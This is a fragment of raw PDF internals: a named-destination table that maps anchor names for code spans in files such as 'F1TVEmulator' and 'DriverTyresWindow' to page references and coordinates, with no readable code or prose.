(Code/DriverTyresWindow/:__span-0-95) [ 1629 0 R /XYZ 60.307257 650.420454 0 ] (Code/DriverTyresWindow/:__span-0-96) [ 1629 0 R /XYZ 60.307257 637.020102 0 ] (Code/DriverTyresWindow/:__span-0-97) [ 1629 0 R /XYZ 60.307257 610.219398 0 ] (Code/DriverTyresWindow/:__span-0-98) [ 1629 0 R /XYZ 60.307257 596.819046 0 ] (Code/DriverTyresWindow/:__span-0-99) [ 1629 0 R /XYZ 60.307257 583.418694 0 ] (Code/DriverTyresWindow/:drivertyreswindowcs) [ 1625 0 R /XYZ 39.386457 747.563622 0 ] (Code/F1TVEmulator/:) [ 1515 0 R /XYZ 39.386457 747.563622 0 ] (Code/F1TVEmulator/:__span-0-1) [ 1515 0 R /XYZ 60.307257 707.635422 0 ] (Code/F1TVEmulator/:__span-0-10) [ 1515 0 R /XYZ 60.307257 573.631902 0 ] (Code/F1TVEmulator/:__span-0-100) [ 1519 0 R /XYZ 60.307257 663.820806 0 ] (Code/F1TVEmulator/:__span-0-101) [ 1519 0 R /XYZ 60.307257 650.420454 0 ] (Code/F1TVEmulator/:__span-0-102) [ 1519 0 R /XYZ 60.307257 637.020102 0 ] (Code/F1TVEmulator/:__span-0-103) [ 1519 0 R /XYZ 60.307257 623.619750 0 ] (Code/F1TVEmulator/:__span-0-104) [ 1519 0 R /XYZ 60.307257 610.219398 0 ] (Code/F1TVEmulator/:__span-0-105) [ 1519 0 R /XYZ 60.307257 596.819046 0 ] (Code/F1TVEmulator/:__span-0-106) [ 1519 0 R /XYZ 60.307257 583.418694 0 ] (Code/F1TVEmulator/:__span-0-107) [ 1519 0 R /XYZ 60.307257 570.018342 0 ] (Code/F1TVEmulator/:__span-0-108) [ 1519 0 R /XYZ 60.307257 556.617990 0 ] (Code/F1TVEmulator/:__span-0-109) [ 1519 0 R /XYZ 60.307257 543.217638 0 ] (Code/F1TVEmulator/:__span-0-11) [ 1515 0 R /XYZ 60.307257 560.231550 0 ] (Code/F1TVEmulator/:__span-0-110) [ 1519 0 R /XYZ 60.307257 529.817286 0 ] (Code/F1TVEmulator/:__span-0-111) [ 1519 0 R /XYZ 60.307257 516.416934 0 ] (Code/F1TVEmulator/:__span-0-112) [ 1519 0 R /XYZ 60.307257 503.016582 0 ] (Code/F1TVEmulator/:__span-0-113) [ 1519 0 R /XYZ 60.307257 489.616230 0 ] (Code/F1TVEmulator/:__span-0-114) [ 1519 0 R /XYZ 60.307257 476.215878 0 ] (Code/F1TVEmulator/:__span-0-115) [ 1519 0 R /XYZ 60.307257 449.415174 0 ] (Code/F1TVEmulator/:__span-0-116) [ 1519 0 R /XYZ 60.307257 436.014822 0 ] (Code/F1TVEmulator/:__span-0-117) [ 1519 0 R /XYZ 60.307257 409.214118 0 ] (Code/F1TVEmulator/:__span-0-118) [ 1519 0 R /XYZ 60.307257 395.813766 0 ] (Code/F1TVEmulator/:__span-0-119) [ 1519 0 R /XYZ 60.307257 382.413414 0 ] (Code/F1TVEmulator/:__span-0-12) [ 1515 0 R /XYZ 60.307257 546.831198 0 ] (Code/F1TVEmulator/:__span-0-120) [ 1519 0 R /XYZ 60.307257 369.013062 0 ] (Code/F1TVEmulator/:__span-0-121) [ 1519 0 R /XYZ 60.307257 342.212358 0 ] (Code/F1TVEmulator/:__span-0-122) [ 1519 0 R /XYZ 60.307257 328.812006 0 ] (Code/F1TVEmulator/:__span-0-123) [ 1519 0 R /XYZ 60.307257 315.411654 0 ] (Code/F1TVEmulator/:__span-0-124) [ 1519 0 R /XYZ 60.307257 302.011302 0 ] (Code/F1TVEmulator/:__span-0-125) [ 1519 0 R /XYZ 60.307257 288.610950 0 ] (Code/F1TVEmulator/:__span-0-126) [ 1519 0 R /XYZ 60.307257 275.210598 0 ] (Code/F1TVEmulator/:__span-0-127) [ 1519 0 R /XYZ 60.307257 261.810246 0 ] (Code/F1TVEmulator/:__span-0-128) [ 1519 0 R /XYZ 60.307257 248.409894 0 ] (Code/F1TVEmulator/:__span-0-129) [ 1519 0 R /XYZ 60.307257 235.009542 0 ] (Code/F1TVEmulator/:__span-0-13) [ 1515 0 R /XYZ 60.307257 533.430846 0 ] (Code/F1TVEmulator/:__span-0-130) [ 1519 0 R /XYZ 60.307257 221.609190 0 ] (Code/F1TVEmulator/:__span-0-131) [ 1519 0 R /XYZ 60.307257 208.208838 0 ] (Code/F1TVEmulator/:__span-0-132) [ 1519 0 R /XYZ 60.307257 194.808486 0 ] (Code/F1TVEmulator/:__span-0-133) [ 1519 0 R /XYZ 60.307257 181.408134 0 ] (Code/F1TVEmulator/:__span-0-134) [ 1519 0 R /XYZ 60.307257 168.007782 0 ] (Code/F1TVEmulator/:__span-0-135) [ 1519 0 R /XYZ 60.307257 154.607430 0 ] (Code/F1TVEmulator/:__span-0-136) [ 1519 0 R /XYZ 60.307257 141.207078 0 ] (Code/F1TVEmulator/:__span-0-137) [ 1519 0 R /XYZ 60.307257 127.806726 0 ] (Code/F1TVEmulator/:__span-0-138) [ 1519 0 R /XYZ 60.307257 114.406374 0 ] (Code/F1TVEmulator/:__span-0-139) [ 1519 0 R /XYZ 60.307257 101.006022 0 ] (Code/F1TVEmulator/:__span-0-14) [ 1515 0 R /XYZ 60.307257 520.030494 0 ] (Code/F1TVEmulator/:__span-0-140) [ 1519 0 R /XYZ 60.307257 87.605670 0 ] (Code/F1TVEmulator/:__span-0-141) [ 1521 0 R /XYZ 60.307257 771.023622 0 ] (Code/F1TVEmulator/:__span-0-142) [ 1521 0 R /XYZ 60.307257 757.623270 0 ] (Code/F1TVEmulator/:__span-0-143) [ 1521 0 R /XYZ 60.307257 744.222918 0 ] (Code/F1TVEmulator/:__span-0-144) [ 1521 0 R /XYZ 60.307257 730.822566 0 ] (Code/F1TVEmulator/:__span-0-145) [ 1521 0 R /XYZ 60.307257 717.422214 0 ] (Code/F1TVEmulator/:__span-0-146) [ 1521 0 R /XYZ 60.307257 704.021862 0 ] (Code/F1TVEmulator/:__span-0-147) [ 1521 0 R /XYZ 60.307257 690.621510 0 ] (Code/F1TVEmulator/:__span-0-148) [ 1521 0 R /XYZ 60.307257 677.221158 0 ] (Code/F1TVEmulator/:__span-0-149) [ 1521 0 R /XYZ 60.307257 663.820806 0 ] (Code/F1TVEmulator/:__span-0-15) [ 1515 0 R /XYZ 60.307257 506.630142 0 ] (Code/F1TVEmulator/:__span-0-150) [ 1521 0 R /XYZ 60.307257 650.420454 0 ] (Code/F1TVEmulator/:__span-0-151) [ 1521 0 R /XYZ 60.307257 637.020102 0 ] (Code/F1TVEmulator/:__span-0-152) [ 1521 0 R /XYZ 60.307257 623.619750 0 ] (Code/F1TVEmulator/:__span-0-153) [ 1521 0 R /XYZ 60.307257 610.219398 0 ] (Code/F1TVEmulator/:__span-0-154) [ 1521 0 R /XYZ 60.307257 596.819046 0 ] (Code/F1TVEmulator/:__span-0-155) [ 1521 0 R /XYZ 60.307257 570.018342 0 ] (Code/F1TVEmulator/:__span-0-156) [ 1521 0 R /XYZ 60.307257 543.217638 0 ] (Code/F1TVEmulator/:__span-0-157) [ 1521 0 R /XYZ 60.307257 529.817286 0 ] (Code/F1TVEmulator/:__span-0-158) [ 1521 0 R /XYZ 60.307257 516.416934 0 ] (Code/F1TVEmulator/:__span-0-159) [ 1521 0 R /XYZ 60.307257 503.016582 0 ] (Code/F1TVEmulator/:__span-0-16) [ 1515 0 R /XYZ 60.307257 493.229790 0 ] (Code/F1TVEmulator/:__span-0-160) [ 1521 0 R /XYZ 60.307257 489.616230 0 ] (Code/F1TVEmulator/:__span-0-161) [ 1521 0 R /XYZ 60.307257 476.215878 0 ] (Code/F1TVEmulator/:__span-0-162) [ 1521 0 R /XYZ 60.307257 462.815526 0 ] (Code/F1TVEmulator/:__span-0-163) [ 1521 0 R /XYZ 60.307257 449.415174 0 ] (Code/F1TVEmulator/:__span-0-164) [ 1521 0 R /XYZ 60.307257 436.014822 0 ] (Code/F1TVEmulator/:__span-0-165) [ 1521 0 R /XYZ 60.307257 422.614470 0 ] (Code/F1TVEmulator/:__span-0-166) [ 1521 0 R /XYZ 60.307257 409.214118 0 ] (Code/F1TVEmulator/:__span-0-167) [ 1521 0 R /XYZ 60.307257 395.813766 0 ] (Code/F1TVEmulator/:__span-0-168) [ 1521 0 R /XYZ 60.307257 382.413414 0 ] (Code/F1TVEmulator/:__span-0-169) [ 1521 0 R /XYZ 60.307257 369.013062 0 ] (Code/F1TVEmulator/:__span-0-17) [ 1515 0 R /XYZ 60.307257 479.829438 0 ] (Code/F1TVEmulator/:__span-0-170) [ 1521 0 R /XYZ 60.307257 355.612710 0 ] (Code/F1TVEmulator/:__span-0-171) [ 1521 0 R /XYZ 60.307257 342.212358 0 ] (Code/F1TVEmulator/:__span-0-172) [ 1521 0 R /XYZ 60.307257 328.812006 0 ] (Code/F1TVEmulator/:__span-0-173) [ 1521 0 R /XYZ 60.307257 315.411654 0 ] (Code/F1TVEmulator/:__span-0-174) [ 1521 0 R /XYZ 60.307257 302.011302 0 ] (Code/F1TVEmulator/:__span-0-175) [ 1521 0 R /XYZ 60.307257 288.610950 0 ] (Code/F1TVEmulator/:__span-0-176) [ 1521 0 R /XYZ 60.307257 275.210598 0 ] (Code/F1TVEmulator/:__span-0-177) [ 1521 0 R /XYZ 60.307257 261.810246 0 ] (Code/F1TVEmulator/:__span-0-178) [ 1521 0 R /XYZ 60.307257 248.409894 0 ] (Code/F1TVEmulator/:__span-0-179) [ 1521 0 R /XYZ 60.307257 235.009542 0 ] (Code/F1TVEmulator/:__span-0-18) [ 1515 0 R /XYZ 60.307257 466.429086 0 ] (Code/F1TVEmulator/:__span-0-180) [ 1521 0 R /XYZ 60.307257 208.208838 0 ] (Code/F1TVEmulator/:__span-0-181) [ 1521 0 R /XYZ 60.307257 194.808486 0 ] (Code/F1TVEmulator/:__span-0-182) [ 1521 0 R /XYZ 60.307257 181.408134 0 ] (Code/F1TVEmulator/:__span-0-183) [ 1521 0 R /XYZ 60.307257 168.007782 0 ] (Code/F1TVEmulator/:__span-0-184) [ 1521 0 R /XYZ 60.307257 154.607430 0 ] (Code/F1TVEmulator/:__span-0-185) [ 1521 0 R /XYZ 60.307257 141.207078 0 ] (Code/F1TVEmulator/:__span-0-186) [ 1521 0 R /XYZ 60.307257 127.806726 0 ] (Code/F1TVEmulator/:__span-0-187) [ 1521 0 R /XYZ 60.307257 114.406374 0 ] (Code/F1TVEmulator/:__span-0-188) [ 1521 0 R /XYZ 60.307257 101.006022 0 ] (Code/F1TVEmulator/:__span-0-189) [ 1521 0 R /XYZ 60.307257 87.605670 0 ] (Code/F1TVEmulator/:__span-0-19) [ 1515 0 R /XYZ 60.307257 453.028734 0 ] (Code/F1TVEmulator/:__span-0-190) [ 1523 0 R /XYZ 60.307257 771.023622 0 ] (Code/F1TVEmulator/:__span-0-191) [ 1523 0 R /XYZ 60.307257 744.222918 0 ] (Code/F1TVEmulator/:__span-0-192) [ 1523 0 R /XYZ 60.307257 717.422214 0 ] (Code/F1TVEmulator/:__span-0-193) [ 1523 0 R /XYZ 60.307257 704.021862 0 ] (Code/F1TVEmulator/:__span-0-194) [ 1523 0 R /XYZ 60.307257 690.621510 0 ] (Code/F1TVEmulator/:__span-0-195) [ 1523 0 R /XYZ 60.307257 677.221158 0 ] (Code/F1TVEmulator/:__span-0-196) [ 1523 0 R /XYZ 60.307257 663.820806 0 ] (Code/F1TVEmulator/:__span-0-197) [ 1523 0 R /XYZ 60.307257 650.420454 0 ] (Code/F1TVEmulator/:__span-0-198) [ 1523 0 R /XYZ 60.307257 623.619750 0 ] (Code/F1TVEmulator/:__span-0-199) [ 1523 0 R /XYZ 60.307257 610.219398 0 ] (Code/F1TVEmulator/:__span-0-2) [ 1515 0 R /XYZ 60.307257 694.235070 0 ] (Code/F1TVEmulator/:__span-0-20) [ 1515 0 R /XYZ 60.307257 439.628382 0 ] (Code/F1TVEmulator/:__span-0-200) [ 1523 0 R /XYZ 60.307257 596.819046 0 ] (Code/F1TVEmulator/:__span-0-201) [ 1523 0 R /XYZ 60.307257 583.418694 0 ] (Code/F1TVEmulator/:__span-0-202) [ 1523 0 R /XYZ 60.307257 570.018342 0 ] (Code/F1TVEmulator/:__span-0-203) [ 1523 0 R /XYZ 60.307257 543.217638 0 ] (Code/F1TVEmulator/:__span-0-204) [ 1523 0 R /XYZ 60.307257 529.817286 0 ] (Code/F1TVEmulator/:__span-0-205) [ 1523 0 R /XYZ 60.307257 516.416934 0 ] (Code/F1TVEmulator/:__span-0-206) [ 1523 0 R /XYZ 60.307257 503.016582 0 ] (Code/F1TVEmulator/:__span-0-207) [ 1523 0 R /XYZ 60.307257 489.616230 0 ] (Code/F1TVEmulator/:__span-0-208) [ 1523 0 R /XYZ 60.307257 476.215878 0 ] (Code/F1TVEmulator/:__span-0-209) [ 1523 0 R /XYZ 60.307257 462.815526 0 ] (Code/F1TVEmulator/:__span-0-21) [ 1515 0 R /XYZ 60.307257 426.228030 0 ] (Code/F1TVEmulator/:__span-0-210) [ 1523 0 R /XYZ 60.307257 449.415174 0 ] (Code/F1TVEmulator/:__span-0-211) [ 1523 0 R /XYZ 60.307257 422.614470 0 ] (Code/F1TVEmulator/:__span-0-212) [ 1523 0 R /XYZ 60.307257 409.214118 0 ] (Code/F1TVEmulator/:__span-0-213) [ 1523 0 R /XYZ 60.307257 395.813766 0 ] (Code/F1TVEmulator/:__span-0-214) [ 1523 0 R /XYZ 60.307257 382.413414 0 ] (Code/F1TVEmulator/:__span-0-215) [ 1523 0 R /XYZ 60.307257 369.013062 0 ] (Code/F1TVEmulator/:__span-0-216) [ 1523 0 R /XYZ 60.307257 355.612710 0 ] (Code/F1TVEmulator/:__span-0-217) [ 1523 0 R /XYZ 60.307257 342.212358 0 ] (Code/F1TVEmulator/:__span-0-218) [ 1523 0 R /XYZ 60.307257 328.812006 0 ] (Code/F1TVEmulator/:__span-0-219) [ 1523 0 R /XYZ 60.307257 315.411654 0 ] (Code/F1TVEmulator/:__span-0-22) [ 1515 0 R /XYZ 60.307257 412.827678 0 ] (Code/F1TVEmulator/:__span-0-220) [ 1523 0 R /XYZ 60.307257 302.011302 0 ] (Code/F1TVEmulator/:__span-0-221) [ 1523 0 R /XYZ 60.307257 288.610950 0 ] (Code/F1TVEmulator/:__span-0-222) [ 1523 0 R /XYZ 60.307257 261.810246 0 ] (Code/F1TVEmulator/:__span-0-223) [ 1523 0 R /XYZ 60.307257 248.409894 0 ] (Code/F1TVEmulator/:__span-0-224) [ 1523 0 R /XYZ 60.307257 221.609190 0 ] (Code/F1TVEmulator/:__span-0-225) [ 1523 0 R /XYZ 60.307257 208.208838 0 ] (Code/F1TVEmulator/:__span-0-226) [ 1523 0 R /XYZ 60.307257 181.408134 0 ] (Code/F1TVEmulator/:__span-0-227) [ 1523 0 R /XYZ 60.307257 168.007782 0 ] (Code/F1TVEmulator/:__span-0-228) [ 1523 0 R /XYZ 60.307257 154.607430 0 ] (Code/F1TVEmulator/:__span-0-229) [ 1523 0 R /XYZ 60.307257 141.207078 0 ] (Code/F1TVEmulator/:__span-0-23) [ 1515 0 R /XYZ 60.307257 399.427326 0 ] (Code/F1TVEmulator/:__span-0-230) [ 1523 0 R /XYZ 60.307257 127.806726 0 ] (Code/F1TVEmulator/:__span-0-231) [ 1523 0 R /XYZ 60.307257 114.406374 0 ] (Code/F1TVEmulator/:__span-0-232) [ 1523 0 R /XYZ 60.307257 87.605670 0 ] (Code/F1TVEmulator/:__span-0-233) [ 1525 0 R /XYZ 60.307257 771.023622 0 ] (Code/F1TVEmulator/:__span-0-234) [ 1525 0 R /XYZ 60.307257 757.623270 0 ] (Code/F1TVEmulator/:__span-0-235) [ 1525 0 R /XYZ 60.307257 744.222918 0 ] (Code/F1TVEmulator/:__span-0-236) [ 1525 0 R /XYZ 60.307257 730.822566 0 ] (Code/F1TVEmulator/:__span-0-237) [ 1525 0 R /XYZ 60.307257 717.422214 0 ] (Code/F1TVEmulator/:__span-0-238) [ 1525 0 R /XYZ 60.307257 704.021862 0 ] (Code/F1TVEmulator/:__span-0-239) [ 1525 0 R /XYZ 60.307257 690.621510 0 ] (Code/F1TVEmulator/:__span-0-24) [ 1515 0 R /XYZ 60.307257 386.026974 0 ] (Code/F1TVEmulator/:__span-0-240) [ 1525 0 R /XYZ 60.307257 677.221158 0 ] (Code/F1TVEmulator/:__span-0-241) [ 1525 0 R /XYZ 60.307257 663.820806 0 ] (Code/F1TVEmulator/:__span-0-242) [ 1525 0 R /XYZ 60.307257 650.420454 0 ] (Code/F1TVEmulator/:__span-0-243) [ 1525 0 R /XYZ 60.307257 637.020102 0 ] (Code/F1TVEmulator/:__span-0-244) [ 1525 0 R /XYZ 60.307257 623.619750 0 ] (Code/F1TVEmulator/:__span-0-245) [ 1525 0 R /XYZ 60.307257 610.219398 0 ] (Code/F1TVEmulator/:__span-0-246) [ 1525 0 R /XYZ 60.307257 596.819046 0 ] (Code/F1TVEmulator/:__span-0-247) [ 1525 0 R /XYZ 60.307257 583.418694 0 ] (Code/F1TVEmulator/:__span-0-248) [ 1525 0 R /XYZ 60.307257 570.018342 0 ] (Code/F1TVEmulator/:__span-0-249) [ 1525 0 R /XYZ 60.307257 556.617990 0 ] (Code/F1TVEmulator/:__span-0-25) [ 1515 0 R /XYZ 60.307257 372.626622 0 ] (Code/F1TVEmulator/:__span-0-250) [ 1525 0 R /XYZ 60.307257 543.217638 0 ] (Code/F1TVEmulator/:__span-0-251) [ 1525 0 R /XYZ 60.307257 516.416934 0 ] (Code/F1TVEmulator/:__span-0-252) [ 1525 0 R /XYZ 60.307257 503.016582 0 ] (Code/F1TVEmulator/:__span-0-253) [ 1525 0 R /XYZ 60.307257 489.616230 0 ] (Code/F1TVEmulator/:__span-0-254) [ 1525 0 R /XYZ 60.307257 476.215878 0 ] (Code/F1TVEmulator/:__span-0-255) [ 1525 0 R /XYZ 60.307257 462.815526 0 ] (Code/F1TVEmulator/:__span-0-256) [ 1525 0 R /XYZ 60.307257 449.415174 0 ] (Code/F1TVEmulator/:__span-0-257) [ 1525 0 R /XYZ 60.307257 422.614470 0 ] (Code/F1TVEmulator/:__span-0-258) [ 1525 0 R /XYZ 60.307257 409.214118 0 ] (Code/F1TVEmulator/:__span-0-259) [ 1525 0 R /XYZ 60.307257 395.813766 0 ] (Code/F1TVEmulator/:__span-0-26) [ 1515 0 R /XYZ 60.307257 359.226270 0 ] (Code/F1TVEmulator/:__span-0-260) [ 1525 0 R /XYZ 60.307257 382.413414 0 ] (Code/F1TVEmulator/:__span-0-261) [ 1525 0 R /XYZ 60.307257 369.013062 0 ] (Code/F1TVEmulator/:__span-0-262) [ 1525 0 R /XYZ 60.307257 355.612710 0 ] (Code/F1TVEmulator/:__span-0-263) [ 1525 0 R /XYZ 60.307257 342.212358 0 ] (Code/F1TVEmulator/:__span-0-264) [ 1525 0 R /XYZ 60.307257 328.812006 0 ] (Code/F1TVEmulator/:__span-0-265) [ 1525 0 R /XYZ 60.307257 315.411654 0 ] (Code/F1TVEmulator/:__span-0-266) [ 1525 0 R /XYZ 60.307257 302.011302 0 ] (Code/F1TVEmulator/:__span-0-267) [ 1525 0 R /XYZ 60.307257 288.610950 0 ] (Code/F1TVEmulator/:__span-0-268) [ 1525 0 R /XYZ 60.307257 275.210598 0 ] (Code/F1TVEmulator/:__span-0-269) [ 1525 0 R /XYZ 60.307257 261.810246 0 ] (Code/F1TVEmulator/:__span-0-27) [ 1515 0 R /XYZ 60.307257 332.425566 0 ] (Code/F1TVEmulator/:__span-0-270) [ 1525 0 R /XYZ 60.307257 248.409894 0 ] (Code/F1TVEmulator/:__span-0-271) [ 1525 0 R /XYZ 60.307257 235.009542 0 ] (Code/F1TVEmulator/:__span-0-272) [ 1525 0 R /XYZ 60.307257 221.609190 0 ] (Code/F1TVEmulator/:__span-0-273) [ 1525 0 R /XYZ 60.307257 208.208838 0 ] (Code/F1TVEmulator/:__span-0-274) [ 1525 0 R /XYZ 60.307257 194.808486 0 ] (Code/F1TVEmulator/:__span-0-275) [ 1525 0 R /XYZ 60.307257 181.408134 0 ] (Code/F1TVEmulator/:__span-0-276) [ 1525 0 R /XYZ 60.307257 168.007782 0 ] (Code/F1TVEmulator/:__span-0-277) [ 1525 0 R /XYZ 60.307257 154.607430 0 ] (Code/F1TVEmulator/:__span-0-278) [ 1525 0 R /XYZ 60.307257 141.207078 0 ] (Code/F1TVEmulator/:__span-0-279) [ 1525 0 R /XYZ 60.307257 127.806726 0 ] (Code/F1TVEmulator/:__span-0-28) [ 1515 0 R /XYZ 60.307257 305.624862 0 ] (Code/F1TVEmulator/:__span-0-280) [ 1525 0 R /XYZ 60.307257 114.406374 0 ] (Code/F1TVEmulator/:__span-0-281) [ 1525 0 R /XYZ 60.307257 101.006022 0 ] (Code/F1TVEmulator/:__span-0-282) [ 1525 0 R /XYZ 60.307257 87.605670 0 ] (Code/F1TVEmulator/:__span-0-283) [ 1527 0 R /XYZ 60.307257 771.023622 0 ] (Code/F1TVEmulator/:__span-0-284) [ 1527 0 R /XYZ 60.307257 744.222918 0 ] (Code/F1TVEmulator/:__span-0-285) [ 1527 0 R /XYZ 60.307257 730.822566 0 ] (Code/F1TVEmulator/:__span-0-286) [ 1527 0 R /XYZ 60.307257 717.422214 0 ] (Code/F1TVEmulator/:__span-0-287) [ 1527 0 R /XYZ 60.307257 704.021862 0 ] (Code/F1TVEmulator/:__span-0-288) [ 1527 0 R /XYZ 60.307257 690.621510 0 ] (Code/F1TVEmulator/:__span-0-289) [ 1527 0 R /XYZ 60.307257 677.221158 0 ] (Code/F1TVEmulator/:__span-0-29) [ 1515 0 R /XYZ 60.307257 278.824158 0 ] (Code/F1TVEmulator/:__span-0-290) [ 1527 0 R /XYZ 60.307257 663.820806 0 ] (Code/F1TVEmulator/:__span-0-291) [ 1527 0 R /XYZ 60.307257 650.420454 0 ] (Code/F1TVEmulator/:__span-0-292) [ 1527 0 R /XYZ 60.307257 623.619750 0 ] (Code/F1TVEmulator/:__span-0-293) [ 1527 0 R /XYZ 60.307257 610.219398 0 ] (Code/F1TVEmulator/:__span-0-294) [ 1527 0 R /XYZ 60.307257 596.819046 0 ] (Code/F1TVEmulator/:__span-0-295) [ 1527 0 R /XYZ 60.307257 583.418694 0 ] (Code/F1TVEmulator/:__span-0-296) [ 1527 0 R /XYZ 60.307257 570.018342 0 ] (Code/F1TVEmulator/:__span-0-297) [ 1527 0 R /XYZ 60.307257 543.217638 0 ] (Code/F1TVEmulator/:__span-0-298) [ 1527 0 R /XYZ 60.307257 529.817286 0 ] (Code/F1TVEmulator/:__span-0-299) [ 1527 0 R /XYZ 60.307257 516.416934 0 ] (Code/F1TVEmulator/:__span-0-3) [ 1515 0 R /XYZ 60.307257 680.834718 0 ] (Code/F1TVEmulator/:__span-0-30) [ 1515 0 R /XYZ 60.307257 265.423806 0 ] (Code/F1TVEmulator/:__span-0-300) [ 1527 0 R /XYZ 60.307257 503.016582 0 ] (Code/F1TVEmulator/:__span-0-301) [ 1527 0 R /XYZ 60.307257 489.616230 0 ] (Code/F1TVEmulator/:__span-0-302) [ 1527 0 R /XYZ 60.307257 476.215878 0 ] (Code/F1TVEmulator/:__span-0-303) [ 1527 0 R /XYZ 60.307257 462.815526 0 ] (Code/F1TVEmulator/:__span-0-304) [ 1527 0 R /XYZ 60.307257 449.415174 0 ] (Code/F1TVEmulator/:__span-0-305) [ 1527 0 R /XYZ 60.307257 436.014822 0 ] (Code/F1TVEmulator/:__span-0-306) [ 1527 0 R /XYZ 60.307257 422.614470 0 ] (Code/F1TVEmulator/:__span-0-307) [ 1527 0 R /XYZ 60.307257 409.214118 0 ] (Code/F1TVEmulator/:__span-0-308) [ 1527 0 R /XYZ 60.307257 395.813766 0 ] (Code/F1TVEmulator/:__span-0-309) [ 1527 0 R /XYZ 60.307257 382.413414 0 ] (Code/F1TVEmulator/:__span-0-31) [ 1515 0 R /XYZ 60.307257 252.023454 0 ] (Code/F1TVEmulator/:__span-0-310) [ 1527 0 R /XYZ 60.307257 369.013062 0 ] (Code/F1TVEmulator/:__span-0-311) [ 1527 0 R /XYZ 60.307257 342.212358 0 ] (Code/F1TVEmulator/:__span-0-312) [ 1527 0 R /XYZ 60.307257 328.812006 0 ] (Code/F1TVEmulator/:__span-0-313) [ 1527 0 R /XYZ 60.307257 315.411654 0 ] (Code/F1TVEmulator/:__span-0-314) [ 1527 0 R /XYZ 60.307257 302.011302 0 ] (Code/F1TVEmulator/:__span-0-315) [ 1527 0 R /XYZ 60.307257 288.610950 0 ] (Code/F1TVEmulator/:__span-0-316) [ 1527 0 R /XYZ 60.307257 275.210598 0 ] (Code/F1TVEmulator/:__span-0-317) [ 1527 0 R /XYZ 60.307257 261.810246 0 ] (Code/F1TVEmulator/:__span-0-318) [ 1527 0 R /XYZ 60.307257 248.409894 0 ] (Code/F1TVEmulator/:__span-0-319) [ 1527 0 R /XYZ 60.307257 235.009542 0 ] (Code/F1TVEmulator/:__span-0-32) [ 1515 0 R /XYZ 60.307257 238.623102 0 ] (Code/F1TVEmulator/:__span-0-320) [ 1527 0 R /XYZ 60.307257 221.609190 0 ] (Code/F1TVEmulator/:__span-0-321) [ 1527 0 R /XYZ 60.307257 208.208838 0 ] (Code/F1TVEmulator/:__span-0-322) [ 1527 0 R /XYZ 60.307257 194.808486 0 ] (Code/F1TVEmulator/:__span-0-323) [ 1527 0 R /XYZ 60.307257 181.408134 0 ] (Code/F1TVEmulator/:__span-0-324) [ 1527 0 R /XYZ 60.307257 168.007782 0 ] (Code/F1TVEmulator/:__span-0-325) [ 1527 0 R /XYZ 60.307257 154.607430 0 ] (Code/F1TVEmulator/:__span-0-326) [ 1527 0 R /XYZ 60.307257 141.207078 0 ] (Code/F1TVEmulator/:__span-0-327) [ 1527 0 R /XYZ 60.307257 127.806726 0 ] (Code/F1TVEmulator/:__span-0-328) [ 1527 0 R /XYZ 60.307257 114.406374 0 ] (Code/F1TVEmulator/:__span-0-329) [ 1527 0 R /XYZ 60.307257 101.006022 0 ] (Code/F1TVEmulator/:__span-0-33) [ 1515 0 R /XYZ 60.307257 225.222750 0 ] (Code/F1TVEmulator/:__span-0-34) [ 1515 0 R /XYZ 60.307257 211.822398 0 ] (Code/F1TVEmulator/:__span-0-35) [ 1515 0 R /XYZ 60.307257 198.422046 0 ] (Code/F1TVEmulator/:__span-0-36) [ 1515 0 R /XYZ 60.307257 171.621342 0 ] (Code/F1TVEmulator/:__span-0-37) [ 1515 0 R /XYZ 60.307257 158.220990 0 ] (Code/F1TVEmulator/:__span-0-38) [ 1515 0 R /XYZ 60.307257 144.820638 0 ] (Code/F1TVEmulator/:__span-0-39) [ 1515 0 R /XYZ 60.307257 131.420286 0 ] (Code/F1TVEmulator/:__span-0-4) [ 1515 0 R /XYZ 60.307257 667.434366 0 ] (Code/F1TVEmulator/:__span-0-40) [ 1515 0 R /XYZ 60.307257 118.019934 0 ] (Code/F1TVEmulator/:__span-0-41) [ 1515 0 R /XYZ 60.307257 104.619582 0 ] (Code/F1TVEmulator/:__span-0-42) [ 1515 0 R /XYZ 60.307257 91.219230 0 ] (Code/F1TVEmulator/:__span-0-43) [ 1517 0 R /XYZ 60.307257 771.023622 0 ] (Code/F1TVEmulator/:__span-0-44) [ 1517 0 R /XYZ 60.307257 757.623270 0 ] (Code/F1TVEmulator/:__span-0-45) [ 1517 0 R /XYZ 60.307257 744.222918 0 ] (Code/F1TVEmulator/:__span-0-46) [ 1517 0 R /XYZ 60.307257 730.822566 0 ] (Code/F1TVEmulator/:__span-0-47) [ 1517 0 R /XYZ 60.307257 717.422214 0 ] (Code/F1TVEmulator/:__span-0-48) [ 1517 0 R /XYZ 60.307257 704.021862 0 ] (Code/F1TVEmulator/:__span-0-49) [ 1517 0 R /XYZ 60.307257 690.621510 0 ] (Code/F1TVEmulator/:__span-0-5) [ 1515 0 R /XYZ 60.307257 640.633662 0 ] (Code/F1TVEmulator/:__span-0-50) [ 1517 0 R /XYZ 60.307257 677.221158 0 ] (Code/F1TVEmulator/:__span-0-51) [ 1517 0 R /XYZ 60.307257 663.820806 0 ] (Code/F1TVEmulator/:__span-0-52) [ 1517 0 R /XYZ 60.307257 650.420454 0 ] (Code/F1TVEmulator/:__span-0-53) [ 1517 0 R /XYZ 60.307257 637.020102 0 ] (Code/F1TVEmulator/:__span-0-54) [ 1517 0 R /XYZ 60.307257 623.619750 0 ] (Code/F1TVEmulator/:__span-0-55) [ 1517 0 R /XYZ 60.307257 610.219398 0 ] (Code/F1TVEmulator/:__span-0-56) [ 1517 0 R /XYZ 60.307257 596.819046 0 ] (Code/F1TVEmulator/:__span-0-57) [ 1517 0 R /XYZ 60.307257 583.418694 0 ] (Code/F1TVEmulator/:__span-0-58) [ 1517 0 R /XYZ 60.307257 570.018342 0 ] (Code/F1TVEmulator/:__span-0-59) [ 1517 0 R /XYZ 60.307257 556.617990 0 ] (Code/F1TVEmulator/:__span-0-6) [ 1515 0 R /XYZ 60.307257 627.233310 0 ] (Code/F1TVEmulator/:__span-0-60) [ 1517 0 R /XYZ 60.307257 543.217638 0 ] (Code/F1TVEmulator/:__span-0-61) [ 1517 0 R /XYZ 60.307257 516.416934 0 ] (Code/F1TVEmulator/:__span-0-62) [ 1517 0 R /XYZ 60.307257 503.016582 0 ] (Code/F1TVEmulator/:__span-0-63) [ 1517 0 R /XYZ 60.307257 489.616230 0 ] (Code/F1TVEmulator/:__span-0-64) [ 1517 0 R /XYZ 60.307257 476.215878 0 ] (Code/F1TVEmulator/:__span-0-65) [ 1517 0 R /XYZ 60.307257 462.815526 0 ] (Code/F1TVEmulator/:__span-0-66) [ 1517 0 R /XYZ 60.307257 449.415174 